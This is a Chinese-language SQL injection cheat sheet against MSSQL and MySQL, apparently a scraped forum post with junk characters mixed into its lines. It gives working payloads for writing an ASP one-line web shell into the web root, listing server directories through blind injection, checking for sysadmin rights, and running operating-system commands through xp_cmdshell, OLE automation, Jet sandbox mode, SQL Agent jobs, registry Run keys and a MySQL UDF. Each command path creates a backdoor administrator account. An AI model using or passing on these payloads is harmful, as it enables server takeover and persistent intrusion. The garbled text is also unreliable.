MSSQL语句导出一句话木马
/ L) }; n7 a3 u& |: O5 B& Z9 u首先确定网站的WEB路径
, Q) l3 T% p/ i9 r( ~, W4 r;create table pcguest(pc char(255));-- //建一个表用作插入一句话木马' `/ u0 g2 a% }& e; Z J2 w( F4 T3 U
# j5 f/ D' [5 L5 z. e;insert into pcguest(pc) values ('%3c%25execute request(%22p%22)%25%3e');-- / W; H" D# o2 j7 F8 x) H
//将一句话木马插入表中
. J# `7 ]4 c& z$ Z3 r/ u( r" S
& z( T$ w- M* ^& G2 J9 u. i! V;execute sp_makewebtask @outputfile='E:\Inetpub\wwwroot\PC.ASP',@query='select pc from pcguest';-- - y" C2 I, _) Y4 M$ Q
//导出一个ASP文件" n# e$ I# e7 i' X. b
0 E+ E! b2 D# N
, D- P9 ?* r0 n: Z1 O; Q关于MSSQL列目录3 h2 Y. b$ p. i& J- ?! x0 z
;CREATE TABLE pctest(subdirectory VARCHAR(100),depth VARCHAR(100),[file] VARCHAR(100)) //建一个新表9 s6 d1 M8 D# J' H: o
Insert pctest exec master..xp_dirtree "d:\app\",1,1 //用xp_dirtree列目录结果导入所建成的表; O, }5 n8 ^" b# X- C( W4 N
9 n- x* g5 f9 L& d# ?
and (select Count(1) from [pctest]) between 0 and 99 //判断表中字段数来知道有几个文夹和目录$ }: f3 _0 \" }3 V4 P
: ]% s+ y x+ }3 AAnd (Select Top 1 len(Cast([file] as varchar(8000))+subdirectory) From (Select Top 2 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 0 and 20 //猜解第二个字段" |3 c; A2 I* n! G4 t! t
: W" N! k. {5 p5 _2 M# cAnd (Select Top 1 unicode(substring(Cast([file] as varchar(8000))+subdirectory,1,1)) From (Select Top 1 [subdirectory],[file] From pctest ORDER BY [file],[subdirectory]) D ORDER BY [file] desc , [subdirectory] desc) between 30 and 130 //逐一猜解字段名的每位字符4 D, `, d% G/ o- i, W& A
1 X( e! ]- J) O' y' [! b& V* K
7 O8 o7 T, @4 H6 E% m数据库版本和权限查看
. C( _5 Y* ~" D3 pand 1=(select @@VERSION) //查看详细的数据库信息.
) ?) v1 r0 g; l$ u# @% kand 1=(SELECT IS_SRVROLEMEMBER('sysadmin'));-- //查看权限是不是SA
. ], f/ O" `9 m E# K/ Land 1=(SELECT IS_MEMBER('db_owner'));-- //查看权限是不是DB_ONWER
) d6 [2 x% e' L4 ?! v6 ]9 r
+ h' x: J1 _; W# f/ B1 h. k; R% C* b1 J1 _
1.利用xp_cmdshell执行命令
4 |1 l% I6 V% o1 Hexec master..xp_cmdshell 'net user rfire 123456 /add'
& r% w7 M% ]; A ]0 a- }exec master..xp_cmdshell 'net localgroup administrators rfire /add'
1 ^ H% c2 ]* X% ~1 o/ R4 l; _5 r5 j0 O" d% f
恢复xp_cmdshell存储过程
& Z" M3 f. P5 [ I3 m5 b" Z7 |' [Exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
4 _0 Q; u, d. |' Q2 A; t4 T% n# K' c
: X$ G$ W. ?9 q+ t V, i: r2.利用SP_OAcreate和SP_OAMETHOD执行命令
. K: X! R5 M2 l在wscript.shell组件存在的情况下以及xp_cmdshell和xplog70.dll都被删除的情况下
2 O# M+ z# f9 B9 rDECLARE @shell INT //建立一个@shell实体
6 b& c8 {" e% v. w" rEXEC SP_OAcreate 'wscript.shell',@shell out //创建OLE对象的实例
- x' d7 ?5 B+ I, [( Z% [; K& LEXEC SP_OAMETHOD @shell,'run',null,'net user rfire 123456 /add' //调用@shell这个实例" }1 S. w/ [2 _5 s/ L- Q1 z
6 h! n9 B. {- ~5 H' f& M+ d% k+ O5 K1 q: a0 Z1 T1 l, T2 D
3.利用沙盒模式$ [' N V$ m3 {
先利用xp_regwrite(前提是要求xp_regwrite存在)改注册表,然后用OpenRowSet访问系统自身mdb文件,然后执行SQL语句。6 _6 m! }# a( Y% _$ k) {/ L4 |) j) y
开启沙盒模式:! |9 P* [9 y4 C
EXEC master.dbo.xp_regwrite 'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD',0& u4 X) |% a( a
" T* _; E$ A4 G3 X B2 f执行命令:
6 Q( v7 \4 ^5 W" a) tSelect * From OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\windows\system32\ias\ias.mdb','select shell("net user rfire 123456 /add")');
6 z3 I0 }* |1 Q( ]; M6 U* A8 t) P+ p4 \ b" Y
4 ~3 G" e3 F6 A* R, w$ A& n% I
4.利用SQL代理执行命令# m: z* C- @* [+ A7 }
EXEC master.dbo.xp_servicecontrol 'start','SQLSERVERAGENT' //使用xp_servicecontrol启动SQLSERVERAGENT服务6 P8 ^7 V3 q8 l) ^
[$ `# r2 f" k% t! m, Q执行命令:
" A. _# u" W% k* W# I) duse msdb exec sp_delete_job null,'x' //进入msdb数据库,删除x作业防止出错
0 f0 n4 u7 m- w+ sexec sp_add_job 'x'
" X8 i8 K7 A( X R$ @0 B. Zexec sp_add_jobstep Null,'x',Null,'1','CMDEXEC','cmd /c net user rfire 123456 /add' //添加作业# v! q7 n) ~& H" u: q% Z0 K
exec sp_add_jobserver Null,'x',@@servername exec sp_add_job 'x' //启动这个作业. `4 {6 c* }8 T' ?3 e
; ~3 z* f+ }! ~5 p d! X; u$ f; | p
5 C4 \. {$ ?2 i0 P/ D
5.利用注册表项执行命令(用xp_regwrite将执行命令写入启动项)9 n% G- r) I! Z$ z; I- W! @; G% D
EXEC master.dbo.xp_regwrite 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\','shell'.'REG_SZ','C:\windows\system32\cmd.exe /c net user rfire 123456 /add'/ \* x4 ?! W) j/ Y. a: m# A$ R; u
; v: K4 H' ^% u% @
2 Q2 @" J0 G% P' |( P6.MYSQL的命令执行9 e# B2 P# j8 A/ w7 ~; ]* |
MYSQL的UDF自定义函数提权(要求账号拥有insert和delete权限)
. d8 i- ?! C5 J) M. [首先要在su.php下导出c:\windows\udf.dll+ i" t- q% D% p$ V, e% g" t
导出后执行创建自定义函数命令:
$ |. w* t; w0 CCreate Function cmdshell returns string soname 'udf.dll'2 F6 W* ^& Y2 C' B2 @
执行命令
G ~$ a( E& R6 Lselect cmdshell('net user rfire 123456 /add')
1 E/ z; M+ r B. U3 E执行后删除函数 drop function cmdshell" m, X( T4 A! G9 k& T
|